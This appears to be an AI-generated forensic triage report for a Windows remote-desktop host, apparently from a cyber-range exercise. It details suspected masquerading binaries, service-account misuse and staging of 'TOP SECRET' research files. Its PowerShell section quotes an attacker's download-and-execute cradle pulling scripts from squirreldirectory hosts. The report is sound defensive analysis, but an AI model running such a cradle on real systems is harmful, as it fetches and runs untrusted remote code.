• Evidence: row 170 (c:\program files (x86)\microsoft advanced api 32\msadvapi2_32.exe, SHA-1 92f943191577a07a30bc2be2ea1b7325830f3f43, publisher blank, install_date absent); row 171 (c:\program files (x86)\microsoft advanced api 64\msadvapi2_64.exe, SHA-1 beb067d29fe33cee31784011729e7355daf562b9, publisher blank, install_date absent); associated program entries row 350 (msadvapi_32, publisher “Microsoft Advanced API”, install_date 2018-05-08T00:00:00+00:00) and row 386 (msadvapi_64, publisher “Microsoft Advanced API”, install_date 2018-05-08T00:00:00+00:00). The same directories also contain a copy of the legitimate Visual C++ 2015 redistributable (rows 255, 257).
• Why it matters: The name “msadvapi” mimics the legitimate Windows Advanced API (advapi32.dll) and there is no known Microsoft product by this executable name; the fabricated publisher string and lack of signature indicate intentional masquerading, a common defense-evasion technique for credential-access tools or implants.
• Alternative explanation: Poorly named internal utility (unlikely given the deliberate Microsoft-like naming).
• Verify: Extract both binaries, compute SHA-256, submit to a sandbox and threat-intel platforms; inspect ShimCache and Prefetch for execution evidence; analyze imports/strings for Mimikatz-like or shellcode indicators.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Network reconnaissance tooling (WinPcap/Nmap installer) concealed inside the same masquerade directory structure.
• Evidence: row 290 (c:\program files (x86)\microsoft advanced api 32\winpcap-nmap-4.13.exe, SHA-1 955d9a7666075af6fdf86ce827a4f27a0784a9d3, publisher blank); row 291 (c:\program files (x86)\microsoft advanced api 64\winpcap-nmap-4.13.exe, identical SHA-1). A separate, legitimate WinPcap installation also exists at c:\program files\winpcap\ (row 220, row 250).
• Why it matters: Hiding a second copy of a network-capture/scanning utility inside a fake Microsoft folder suggests an attempt to conceal reconnaissance capabilities from casual inspection and endpoint tools.
• Alternative explanation: Bundled dependency for the same unauthorized utility in that folder.
• Verify: Check for Nmap/Zenmap installation artifacts, review %TEMP% and user profiles for PCAP files, and correlate with network flow logs for scanning or sniffing activity.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Non-standard software installed in a discrete burst months after the baseline provisioning wave.
• Evidence: The host’s baseline (Office 2007) clusters at install_date 2018-01-12T00:00:00+00:00, whereas SystemInit by Simspace Corp. (row 336, install_date 2018-05-04T00:00:00+00:00), LARIAT (row 356, install_date 2018-05-07T00:00:00+00:00), the “Microsoft Advanced API” entries (rows 350/386, install_date 2018-05-08T00:00:00+00:00), and McAfee updates (row 297, install_date 2018-05-09T00:00:00+00:00) all appear in a narrow May 2018 window.
• Why it matters: A discrete secondary installation wave on an RDS host can indicate attacker staging or unauthorized administrative activity; Simspace tooling is typically cyber-range infrastructure and is unexpected in a production enterprise remote-desktop environment.
• Alternative explanation: Authorized mid-year maintenance or cyber-range/environment configuration.
• Verify: Validate against the host’s approved software baseline and CMDB records; determine whether Simspace and LARIAT deployments are expected on BASE-RD-02.

• [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Dual-use system administration utilities present that support privilege escalation, persistence, and lateral movement.
• Evidence: row 36 (c:\program files\puppet labs\puppet\puppet\bin\elevate.exe, publisher “wintellect”, 20.0 KB); row 185 (c:\program files\puppet labs\puppet\service\nssm.exe, version 2.24, publisher blank); row 29 (c:\program files (x86)\lincoln\lariat\tools\delprof.exe, publisher “microsoft corporation”); row 211 (c:\program files\puppet labs\puppet\bin\pscp.exe, publisher “simon tatham”).
• Why it matters: elevate.exe is a known UAC bypass helper, nssm.exe is frequently abused for service-based persistence, delprof.exe can destroy user evidence, and pscp.exe enables encrypted file transfer and lateral movement.
• Alternative explanation: Legitimate automation usage by Puppet and LARIAT administrators.
• Verify: Review installed services for unexpected nssm entries, inspect Puppet manifests for authorized use of these binaries, and correlate with authentication logs for anomalous transfer sessions.

Data Gaps

• Execution evidence missing: Amcache records file inventory but most rows lack install_date and none provide last-execution time; we cannot confirm from this artifact alone whether the suspicious msadvapi2_*.exe or winpcap-nmap-4.13.exe were ever launched. ShimCache, Prefetch, and EDR telemetry are required.
• No installation context: The artifact does not record the user account or process that performed the installation, nor command-line arguments, leaving the infection vector undetermined.
• Timeline precision limited: Many entries have blank install_date fields, forcing reliance on coarse directory/MFT timestamps if available.
• Absence of deletion events: Amcache does not reflect whether artifacts were removed after execution, so cleared payloads or log-wiping activity cannot be assessed here.
• Binary intent unverified: SHA-1 hashes are present but no SHA-256 or threat-intel lookup results are available in this data; without reverse engineering or sandboxing, the exact function of msadvapi2_32.exe and msadvapi2_64.exe remains unconfirmed.

No suspicious execution patterns were identified in the available BAM data; all recorded binaries are standard Windows components, legitimate productivity software, or security tools executing from expected system paths.

Data Gaps

• Missing User SID Attribution — The AI projection omitted the user SID field, which is critical on an RDS host to attribute execution to specific accounts. Without it, activity such as powershell.exe (row_ref 26, 2018-09-07T04:19:01.827570+00:00) and Office applications cannot be tied to legitimate users versus potential attacker-controlled sessions.
• Limited Retention and Timeline Gaps — BAM stores only recent entries per user. The ~4-month gap between May 2018 and late August 2018 likely reflects retention rollover rather than a true absence of activity, but it prevents any assessment of execution during that window.
• Lost Frequency Context from Deduplication — 17 rows were removed as timestamp/ID-only duplicates, and 6 annotated variants were collapsed. This discarded data could have revealed repeated or clustered execution of programs (e.g., PowerShell) that might indicate scripted or interactive attacker activity.
• No Command-Line or Parent Process Data — Only the executable path is captured. PowerShell execution is not assessable as malicious or benign without command-line arguments, parent process identity, or spawning chain context.
• Absence of Credential Access or Lateral Movement Tools — No evidence of Mimikatz, PsExec, remote admin tools, or other DFIR-relevant utilities was observed; however, BAM's shallow history means prior execution of such tools cannot be ruled out.
• No File Integrity Verification — Hashes or signatures are absent, so modification of the executed binaries (e.g., binary proxying via renamed malware) cannot be confirmed or excluded.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Service account spsql executed PowerShell and Microsoft Office applications in an interactive Explorer session on 2018-08-31.
• Evidence: PowerShell launched at 2018-08-31T00:41:59.358999 (row 104: {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe, 2 executions, 3 focus, 248093 ms); PowerPoint at 2018-08-31T00:23:47.194000 (row 105); Excel at 2018-08-31T00:24:45.292000 (row 106); Word at 2018-08-31T00:25:42.858999 (row 107); Explorer shell at 2018-08-31T00:26:11.411999 (row 101). All username spsql.
• Why it matters: Service accounts should not have interactive RDS sessions launching script hosts and Office suites; this is consistent with compromised credentials or unauthorized lateral movement to the RDS host.
• Alternative explanation: Vendor or DBA performing maintenance under the SQL service account.
• Verify: Correlate with Security Event Log logon events (4624/4634) for spsql on 2018-08-31; review PowerShell history, command-line logging, and recently opened Office document paths.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Domain administrator account administrator.shieldbase launched an auto-generated executable with a pseudo-random GUID name via Explorer.
• Evidence: 2018-05-08T14:42:16.477999 (row 122: Microsoft.AutoGenerated.{6DC4AF58-96DF-B985-94FE-0197ED67FE31}, 1 execution, 1 focus, 159437 ms), username administrator.shieldbase.
• Why it matters: Auto-generated/GUID-style executables are atypical for manual admin use and may reflect ClickOnce abuse, compiled payloads, or attacker tooling.
• Alternative explanation: Legitimate ClickOnce or in-house generated installer launched by an administrator.
• Verify: Hunt the filesystem and Amcache for this GUID string; check code signature, parent process chain, and proxy execution artifacts.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Unrecognized application E7CF176E110C211B was executed interactively by user kellee.espinoza with sustained focus.
• Evidence: 2018-05-25T00:01:12.258999 (row 18: E7CF176E110C211B, 3 executions, 5 focus count, 367234 ms), username kellee.espinoza.
• Why it matters: Non-descriptive executable names are a common evasion tactic; the sustained focus duration indicates purposeful user interaction rather than background noise.
• Alternative explanation: Custom internal tool, browser component, or game using an opaque identifier.
• Verify: Cross-reference name/hash against AppCompatCache, Amcache, Prefetch, and any available threat intelligence; inspect file metadata.

• [SEVERITY: LOW] [CONFIDENCE: MEDIUM] Domain administrator executed FramePkg.exe from an S: network drive.
• Evidence: 2018-05-08T21:55:39.415998 (row 126: S:\FramePkg.exe, 1 execution, 0 focus, 0 ms), username administrator.shieldbase.
• Why it matters: While FramePkg.exe is a legitimate McAfee ePO agent installer, privileged execution from a network share can reflect lateral movement or binary masquerading.
• Alternative explanation: Centralized McAfee agent deployment via admin share.
• Verify: Compare SHA256 of S:\FramePkg.exe to known-good McAfee hashes; review share access logs and file creation timestamps.

Data Gaps

• Scope limitation: UserAssist only records Explorer-driven GUI launches. Command-line execution of credential-access tools (e.g., Mimikatz), remote services, or scheduled-task-based persistence will not appear here.
• Epoch timestamps obscure timeline: 36 rows (28 % of records) carry the Windows epoch timestamp 1601-01-01T00:00:00+00:00 (e.g., rows 11, 46, 102, 123), preventing accurate last-execution dating for items such as cmd.exe under multiple accounts.
• No arguments or parent process: The artifact captures the binary path but not command-line arguments, so the intent behind the spsql PowerShell launch or administrator cmd.exe usage is unassessable from this data alone.
• Missing context for interactive logons: It cannot be determined whether the spsql session was a local console, RDP, or Fast User Switching event without Security Event Log (4624) correlation.
• No evidence of tampering, but absence is notable: There are no cleared UserAssist keys or obvious anti-forensics, yet the heavy reliance on epoch timestamps limits behavioral-change detection. Complementary artifacts (Prefetch, Amcache, Sysmon EID 1, Security 4624/4688) are required to confirm or refute intrusion.

Merged batch 1

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] The account spsql — naming consistent with a SQL Server service account — generated interactive browser history showing direct access to another user’s (jpallen) sensitive research documents, including files explicitly named “TOP SECRET” and “SECRET”.
• Evidence: row_ref 12648 (2018-08-31T00:25:29.998997, file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Unobtanium/TOP%20SECRET%20-%20UNOBTANIUM%20FORMULA.docx); row_ref 12645 (2018-08-31T00:25:45.171976, file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Vibranium/SECRET%20VIBRANIUM%20FORMULA.docx); row_ref 12646 (2018-08-31T00:23:47.288509, file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Carbonadium/Carbonadium%20Develpment%20Plan.pptx); row_ref 12647 (2018-08-31T00:25:08.763067, file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Financial%20Analysis/alloy-research-financials.xls); row_ref 12650 (2018-08-31T00:21:51.357359, file:///C:/Users/spsql/…collaborationPPTDoc…pptx); row_ref 12649 (2018-08-31T00:37:32.662066, file:///C:/Users/spsql/…collaborationSpreadSheetDoc…xls). Aggregate artifact statistics also indicate 9x spsql total records in the dataset.
• Why it matters: A service-style account opening another user’s confidential documents indicates likely credential abuse, lateral movement, or data-staging activity.
• Alternative explanation: An administrator performed interactive troubleshooting while logged in as the spsql service account.
• Verify: Inspect Windows Security Event Log (Event IDs 4624/4625/4634) on BASE-RD-02 for spsql interactive or remote logon sessions between 2018-08-31 00:21 and 00:42 UTC.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Immediately after accessing sensitive files, the spsql account triggered Microsoft Live OAuth authorization flows, suggesting possible cloud-service interaction.
• Evidence: row_ref 12642 (2018-08-31T00:42:10.562147, https://login.live.com/oauth20_logout.srf…); row_ref 12643 (2018-08-31T00:42:10.780901, https://login.live.com/oauth20_desktop.srf…); row_ref 12644 (2018-08-31T00:42:11.921614, https://login.live.com/oauth20_authorize.srf…).
• Why it matters: OAuth traffic following a session of sensitive file access may indicate an attempt to authenticate to a Microsoft cloud service (e.g., OneDrive) for sync or exfiltration.
• Alternative explanation: Background Microsoft account integration or automatic browser sign-in triggered by IE/Edge features unrelated to attacker activity.
• Verify: Cross-reference with network proxy/firewall logs for live.com traffic from BASE-RD-02 at that time, and inspect browser cache/cookies for the signed-in identity.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] User kellee.espinoza generated an anomalous volume of Internet Explorer history entries for auto-named local and network-share documents, with repeated access to S: drive files and significant off-hours activity.
• Evidence: row_ref 9946 (2018-05-23T09:52:38.796490+00:00, file:///C:/Users/kellee.espinoza/Documents/collaborationWordDoc6421671504674840736.docx); row_ref 9969 (2018-05-23T00:00:13.791824+00:00, file:///C:/Users/KELLEE~1.ESP/DOCUME~1/collaborationPPTDoc1379760986757067342.ppt); row_ref 10055 (2018-05-23T05:57:56.627573+00:00, file:///C:/Users/KELLEE~1.ESP/DOCUME~1/collaborationSpreadSheetDoc1798538068678110448.xls); row 11226 (2018-05-23T01:06:49, file:///C:/Users/KELLEE~1.ESP/DOCUME~1/collaborationSpreadSheetDoc5595436754369296619.xlsx); row 11185 (2018-05-24T00:40:52, file:///C:/Users/KELLEE~1.ESP/DOCUME~1/collaborationSpreadSheetDoc166969562609397674.xlsx); row 11214 (2018-06-04T20:49:52, file:///S:/collaborationSpreadSheetDoc6688441004814776110.xls, visit_count=14); row 11228 (2018-06-04T20:41:51, file:///S:/collaborationPPTDoc7706856077824161578.ppt, visit_count=12); row 11640 (2018-06-04T21:59:16, file:///S:/collaborationWordDoc6992166146817501795.docx, visit_count=13); row_ref 8368 (2018-06-04T20:39:10.189030+00:00, file:///S:/collaborationSpreadSheetDoc1741378862225908156.xlsx, visit_count=13); row_ref 8507 (2018-06-04T20:24:40.154949+00:00, file:///S:/collaborationWordDoc4758941134508993321.doc, visit_count=13). Dataset statistics show 12,589 total entries for kellee.espinoza.
• Why it matters: Thousands of randomized local file URLs accessed via a browser engine—especially during overnight hours—are inconsistent with normal interactive use and suggest automated file enumeration, staging, or a compromised application.
• Alternative explanation: A legitimate line-of-business application or document-management system using the browser engine to render local files.
• Verify: Inspect the actual files on disk, identify the parent process launching iexplore.exe (via Prefetch or EDR), and correlate with Windows Security Event Log logon events for kellee.espinoza.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Browser history records exist for non-standard accounts spsql and rsydow-a on an RDS host where a single user (kellee.espinoza) accounts for the vast majority of activity.
• Evidence: Artifact username frequency statistics show 9x spsql and 1x rsydow-a across the 12,708-record artifact. Specific row-level timestamps and URLs for rsydow-a were not present in provided CSV rows.
• Why it matters: Interactive browser sessions under service-style or infrequently seen accounts may indicate unauthorized access, credential reuse, or lateral movement.
• Alternative explanation: Scheduled monitoring/reporting tool using a browser rendering engine under a service account context, or legitimate administrative activity.
• Verify: Retrieve the complete browser history rows for spsql (beyond the Aug 31 session) and rsydow-a, and cross-reference with Windows Security Event Log interactive logon events (Event ID 4624).

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User jpallen accessed local documents labeled “TOP SECRET” and “SECRET” and conducted repeated web searches for fictional metal-alloy chemical formulas.
• Evidence: Artifact top-value statistics show URLs file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Unobtanium/TOP%20SECRET%20-%20UNOBTANIUM%20FORMULA.docx (2×), file:///C:/Users/jpallen/Documents/Research/Metal%20Alloys/Vibranium/SECRET%20VIBRANIUM%20FORMULA.docx (2×), and titles including vibranium chemical formula - Google Search (4×) and Adamantium vs Vibranium vs Carbonadium (3×). No specific row_ref/timestamp was provided for these entries in the CSV excerpts.
• Why it matters: In a suspected compromise, access to documents labeled “TOP SECRET” combined with related web research may indicate an actor searching for or validating exfiltrated research data; the same files were later accessed by the spsql account.
• Alternative explanation: These may be benign code names for an internal research project, or the user may simply be viewing fiction-themed personal documents.
• Verify: Interview jpallen; inspect the referenced files for actual sensitivity; review jpallen logon and file-access audit logs.

• [SEVERITY: LOW] [CONFIDENCE: LOW] Two browser history entries are flagged as hidden, but their content is not available in the provided data subset.
• Evidence: Statistics show 2x True for the hidden field; corresponding row-level timestamps and URLs were not included in any provided CSV chunk.
• Why it matters: Hidden entries can indicate attempts to conceal browsing activity (defense evasion).
• Alternative explanation: Browser privacy features, automated redirections, or parser artifacts.
• Verify: Obtain the full dataset and inspect the specific records where hidden is True.

Data Gaps

• The full 12,708-record dataset was split across 11 chunks, but the provided CSV subsets within individual chunks were overwhelmingly skewed toward kellee.espinoza file:// entries; anomalous multi-user activity was only visible in aggregate statistics and in the final rows of the artifact (around row_ref 12642+).
• Specific row-level timestamps and URLs for the 109 jpallen records, most of the spsql records (only the 2018-08-31 session was visible in the chunks), and the single rsydow-a record were absent from the majority of provided CSV blocks.
• Provided row ranges contain gaps; for example, records between approximately row_ref 6219–7460 and 12417–12641 were not included in any supplied chunk.
• Chrome (55 records) and Firefox (4 records) were noted in artifact statistics, but their row-level contents were not visible in the provided evidence.
• Critical contextual fields (title, host, visit_type, typed, hidden, from_url) were largely empty in the provided rows, preventing reconstruction of referrer chains, typed navigation, or hidden activity.
• The two records flagged hidden=True were not present in any provided chunk, and the record with visit_count=121 was not mapped to a specific URL or timestamp in the provided subsets.
• Browser history alone cannot determine whether spsql sessions were local console, RDS, or runas; cannot confirm whether files were exfiltrated; and cannot reveal InPrivate/Incognito or cleared sessions.
• Correlation with Windows Security Event Logs (4624/4625), Prefetch/Amcache, SRUM, network proxy/firewall logs, and filesystem forensics for the randomized collaboration* documents is required to confirm or rule out compromise.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] PowerShell download cradle executed repeatedly to retrieve and run remote payloads from suspicious HTTP endpoints.
• Evidence: iex (new-object system.net.webclient).downloadstring('http://squirreldirectory.com/a') (row_ref 1 and 4, mtime 2018-08-31T00:43:21.332932+00:00), iex (new-object system.net.webclient).downloadstring('http://squirrreldirectory/a') (row_ref 2, same mtime), iex (new-object system.net.webclient).downloadstring('http://squirreldirectory/a') (row_ref 3, same mtime); all run as user spsql.
• Why it matters: This is a textbook malicious staging pattern: downloading arbitrary code via HTTP directly into memory with Invoke-Expression, bypassing disk-based controls and enabling arbitrary code execution.
• Alternative explanation: None plausible; no legitimate operational justification exists to repeatedly invoke remote untrusted scripts via unencrypted HTTP from suspiciously named domains.
• Verify: Inspect web proxy/firewall logs for outbound HTTP connections to these three hosts just before 2018-08-31T00:43:21Z; collect process creation telemetry (Sysmon EID 1 / 4688) to identify child processes spawned by the PowerShell session.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Interactive PowerShell session running under the account spsql, a likely service account.
• Evidence: username spsql on all four history rows (row_ref 1–4, mtime 2018-08-31T00:43:21.332932+00:00).
• Why it matters: Accounts with service-like naming conventions are generally intended for non-interactive use; interactive logon combined with malicious download cradles strongly suggests account compromise or misuse.
• Alternative explanation: An administrator may have interactively logged on using the service account for maintenance, though this would represent poor operational practice.
• Verify: Cross-reference Windows Security Event Log Event ID 4624/4648 for the spsql account around the activity time to confirm logon type, source workstation, and originating IP address.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Multiple URL variations suggest iterative payload retrieval or redundant staging infrastructure.
• Evidence: Three distinct host/path combinations observed across the four commands: squirreldirectory.com/a (row_ref 1, 4), squirrreldirectory/a (row_ref 2), and squirreldirectory/a (row_ref 3); all at mtime 2018-08-31T00:43:21.332932+00:00.
• Why it matters: The typographical variant (squirrreldirectory) and TLD-less variant may indicate failed resolution attempts, typo-squatting infrastructure, or the attacker rotating through staging nodes.
• Alternative explanation: The user may have manually typed URLs and introduced typos.
• Verify: Query DNS and proxy logs for resolution or connection attempts to all three host variants to determine which, if any, successfully resolved and returned payload content.

Data Gaps

• No per-command timestamps: All four records share the identical mtime (2018-08-31T00:43:21.332932+00:00), preventing precise ordering and correlation with other host or network events.
• Outcome unknown: The artifact records only command input; there is no output, error stream, or success/failure indicator, so whether any payload downloaded or executed successfully cannot be determined.
• Limited history context: Only four commands are present. Whether earlier or later commands were cleared (e.g., Clear-History or deletion of ConsoleHost_history.txt), or whether history retention was simply short, cannot be confirmed from this artifact alone.
• Follow-on activity absent: The commands shown represent initial staging only; any subsequent persistence, privilege escalation, credential access, lateral movement, or exfiltration executed in the same session is not captured here.
• Recommended supplementary artifacts: PowerShell Script Block Logging (Microsoft-Windows-PowerShell/Operational), Sysmon process creation and network connection events, Windows Security Event Log (4624, 4688), web proxy and DNS logs, and a live memory image or triage package from BASE-RD-02 to identify in-memory implants.

Merged batch 1

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Service account spsql browsed another user’s classified research documents and created a matching staging directory under C:\Windows\Temp\perfmon during an off-hours session.
• Evidence: row 5528 (C:\Windows\Temp\perfmon, lnk_atime 2018-08-31T00:17:23.314692+00:00, username spsql); row 5530 (C:\Windows\Temp\perfmon\Metal Alloys, target_ctime 2018-08-31T00:37:00.930758+00:00, username spsql); row 5512 (C:\Users\jpallen\Documents\Research\Metal Alloys\Carbonadium\Carbonadium Develpment Plan.pptx, lnk_atime 2018-08-31T00:17:58.692282+00:00, username spsql); row 5514 (C:\Users\jpallen\Documents\Research\Metal Alloys\Unobtanium\TOP SECRET - UNOBTANIUM FORMULA.docx, lnk_atime 2018-08-31T00:17:58.692282+00:00, username spsql); row 5515 (C:\Users\jpallen\Documents\Research\Metal Alloys\Financial Analysis\alloy-research-financials.xls, lnk_atime 2018-08-31T00:17:58.692282+00:00, username spsql); rows 5522, 5525–5527 (Explorer access to jpallen’s Financial Analysis, Carbonadium, Vibranium, and Unobtanium folders, all lnk_atime 2018-08-31T00:17:23.314692+00:00, username spsql).
• Why it matters: A service account created a staging folder replicating a research directory tree in C:\Windows\Temp and accessed another user’s TOP SECRET files, strongly indicating unauthorized data collection and exfiltration preparation.
• Alternative explanation: Legitimate off-hours administrative backup or data migration using the spsql account.
• Verify: Inspect Windows Security Event Log for spsql logon type 2/10 around 2018-08-31T00:17 UTC; examine USN/MFT and Prefetch for C:\Windows\Temp\perfmon to identify files copied into the staging area.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Likely service account spsql generated interactive Windows Explorer and Microsoft Office Jump List artifacts inconsistent with a non-interactive service principal.
• Evidence: Statistics show 21 Jump List entries for spsql: 13× C:\Users\spsql\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms (Windows Explorer / Quick Access), 4× 5f7b5f1e01b83767.automaticDestinations-ms (Quick Access), 2× f5ac5390b9115fdb.automaticDestinations-ms (PowerPoint), 1× adecfb853d77462a.automaticDestinations-ms (Word), and 1× cdf30b95c55fd785.automaticDestinations-ms (Excel). The Explorer entries cluster at lnk_atime/lnk_ctime 2018-08-31T00:17:23.314692+00:00 (13×) and lnk_mtime 2018-08-31T00:37:32.488741+00:00 (14×). Specific row-level Office activity from the same session includes: row 5516 (Word 2007 opening TOP SECRET - UNOBTANIUM FORMULA.docx, lnk_mtime 2018-08-31T00:25:44.781322+00:00, username spsql); row 5517 (Excel 2007 opening alloy-research-financials.xls, lnk_mtime 2018-08-31T00:37:32.488741+00:00, username spsql); row 5531 (PowerPoint 2007 opening Carbonadium Develpment Plan.pptx, lnk_mtime 2018-08-31T00:23:47.241631+00:00, username spsql). Note: One chunk interpreted AppID f01b4d95cf55d32a as Remote Desktop Connection; the remaining 16 chunks and standard AppID references identify it as Windows Explorer/Quick Access, which is the stronger position.
• Why it matters: Service accounts should not have interactive user profiles, Explorer recent folders, or Office document history on an RDS host, indicating credential misuse, interactive compromise, or lateral movement.
• Alternative explanation: An administrator may have manually logged on as spsql to perform maintenance, or the account may be a regular user despite its service-oriented name.
• Verify: Review Windows Security Event Log (Event ID 4624/4625) on BASE-RD-02 for spsql logon type 2 (interactive) or type 10 (RDP) around 2018-08-31T00:17Z; inspect Active Directory userAccountControl to confirm whether interactive logon is permitted.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Domain Administrator account administrator.shieldbase generated Windows Explorer Jump List entries on this RDS host, indicating interactive file browsing with privileged credentials.
• Evidence: Statistics show 6 entries for administrator.shieldbase under C:\Users\administrator.shieldbase\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms (Windows Explorer / Quick Access). Timestamp clusters include lnk_atime/lnk_ctime 2018-05-07T21:53:34.175722+00:00 (6×) and lnk_mtime 2018-07-18T01:08:49.502701+00:00 (6×); an additional lnk_mtime cluster appears at 2018-05-08T14:41:55.531105+00:00.
• Why it matters: Interactive use of a domain-wide privileged account on an RDS session host exposes high-value credentials to theft and violates least-privilege principles.
• Alternative explanation: Authorized administrative RDP session or emergency console access for server maintenance.
• Verify: Cross-reference with Windows Security Event Log (Event ID 4624/4634) for administrator.shieldbase logon type and source IP/workstation on 2018-05-07 and 2018-07-18.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User kellee.espinoza generated an anomalous volume (~5,476 Jump List entries) of Office documents with algorithmic, pseudo-random filenames in a compressed timeframe, accompanied by bulk identical container timestamps.
• Evidence: Filename patterns collaborationWordDoc<RANDOM_NUMBER>.docx, collaborationSpreadSheetDoc<RANDOM_NUMBER>.xls/xlsx, and collaborationPPTDoc<RANDOM_NUMBER>.ppt/pptx. Representative rows: row 2 (collaborationSpreadSheetDoc3513012194788184988.xls, target_mtime 2018-05-29T14:03:28.187651+00:00); row 17 (collaborationSpreadSheetDoc985488491679366496.xlsx, target_mtime 2018-05-29T14:56:53.086084+00:00); row 344 (collaborationWordDoc2504526453177353538.docx, lnk_ctime 2018-05-11T20:41:15.131874+00:00, target_ctime 2018-05-30T11:21:12.629747+00:00); row 2336 (collaborationWordDoc3169267835087614958.doc, target_mtime 2018-05-29T23:00:03.459286+00:00); row 3963 (collaborationPPTDoc657371789355957550.pptx, target_mtime 2018-05-24T11:08:54.470175+00:00); rows 4956–5286 (331 consecutive PowerPoint entries with target mtimes from 2018-05-29T00:10:02+00:00 to 2018-05-31T21:16:24+00:00). Bulk LNK container timestamps cluster at lnk_atime/lnk_ctime 2018-05-11T19:19:27.305113+00:00 (1,403 entries), 2018-05-11T20:41:15.131874+00:00 (1,622 entries), and lnk_mtime 2018-06-05T10:15:04.574789+00:00 to 2018-06-05T10:15:05.053503+00:00, while underlying target MAC times span late May through early June.
• Why it matters: The scale, systematic naming, and divergence between LNK container times and target file times suggest automated document generation, macro activity, or staging rather than routine user workflows.
• Alternative explanation: A legitimate document-management system, collaboration plugin, or mail-merge application generated cached or temporary files automatically.
• Verify: Inspect file contents and embedded macros on disk or in Volume Shadow Copies; correlate with Process Creation logs (Event ID 4688), Prefetch, and Amcache around 2018-05-24 through 2018-06-01 to identify the parent process.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Account rsydow-a generated Windows Explorer Jump List entries, suggesting interactive GUI activity from an account with a non-standard naming convention.
• Evidence: Statistics show 6× entries for rsydow-a in C:\Users\rsydow-a\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms (Windows Explorer / Quick Access), clustering at lnk_atime/lnk_ctime 2018-07-18T01:08:49.455820+00:00 (6×) and lnk_mtime 2018-07-18T01:08:49.502701+00:00 (6×).
• Why it matters: Accounts with hyphenated or service-style names rarely have interactive profiles; this may indicate credential sharing, compromised service credentials, or unauthorized interactive use.
• Alternative explanation: rsydow-a may be a legitimate user account with an unconventional name.
• Verify: Validate account type in Active Directory; correlate with Windows Security Event Log (Event ID 4624) for rsydow-a logon type 2/10 on 2018-07-18T01:08Z.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User jpallen accessed locally stored research documents with sensitive naming conventions on this RDS host.
• Evidence: Statistics show 4× C:\Users\jpallen\Documents\Research\Metal Alloys\Unobtanium\TOP SECRET - UNOBTANIUM FORMULA.docx, 4× C:\Users\jpallen\Documents\Research\Metal Alloys\Carbonadium\Carbonadium Develpment Plan.pptx, and 3× C:\Users\jpallen\Documents\Research\Metal Alloys\Financial Analysis\alloy-research-financials.xls.
• Why it matters: These high-value documents were later targeted by the spsql service account, confirming they represent priority assets in the suspected compromise.
• Alternative explanation: Normal authorized research activity by the legitimate user.
• Verify: Cross-check file-server SACL audit logs, DLP alerts, and jpallen logon history for unauthorized or anomalous access.

• [SEVERITY: LOW] [CONFIDENCE: HIGH] Mapped drive S: and UNC path \\base-file\shieldbase-share were actively accessed from this host.
• Evidence: Statistics show 31× lnk_net_name: \\base-file\shieldbase-share and 31× lnk_device_name: S:. Row-level examples: row 1 (lnk_net_name: \\base-file\shieldbase-share, lnk_device_name: S:, common_path_suffix: collaborationSpreadSheetDoc2033155374619497257.xlsx); row 2881 (lnk_net_name: \\base-file\shieldbase-share, lnk_device_name: S:, target_mtime: 2018-05-25T14:44:32.291996+00:00).
• Why it matters: Confirms active SMB connectivity from the RDS host to the file server, which is relevant for lateral-movement scoping and data-access correlation.
• Alternative explanation: Standard mapped departmental or user share delivered via Group Policy.
• Verify: Identify the specific usernames associated with the 31 entries and correlate with SMB session setup / file-access logs on base-file for connections originating from BASE-RD-02.

• [SEVERITY: LOW] [CONFIDENCE: MEDIUM] User kellee.espinoza used Notepad 64-bit to open an industrial automation configuration file in Program Files (x86).
• Evidence: Row 1404: application_name Notepad 64-bit, local_base_path C:\Program Files (x86)\Lincoln\LARIAT\actuator\bin\lariat.properties, lnk_mtime 2018-05-25T14:31:07.994169+00:00, username kellee.espinoza.
• Why it matters: Direct editing of application config files outside user directories may indicate unauthorized tampering with industrial system settings.
• Alternative explanation: Authorized troubleshooting or application reconfiguration.
• Verify: Check file hash and audit logs for lariat.properties; confirm authorized change control.

Data Gaps

• Severely limited row-level visibility: The provided CSV excerpts covered only small, non-contiguous subsets of the total 5,538 records (e.g., rows 2–18, 344, 684–1023, 1024–1363, 1364–1688, 2336, 2659–2983, 2984–3308, 3309–3633, 3963–4293, 4294–4624, 4625–4952, 4956–5286, 5287–5538). Specific target paths, exact timestamps, and row_ref citations for spsql, administrator.shieldbase, rsydow-a, jpallen, and the 31 network-share entries were largely absent outside aggregate statistics, preventing full timeline reconstruction.
• AppID interpretation conflict: AppID f01b4d95cf55d32a was identified as Windows Explorer/Quick Access by 16 chunks and as Remote Desktop Connection by one chunk. The stronger evidence supports Explorer/Quick Access; no definitive RDP lateral-movement finding can be drawn from this AppID alone.
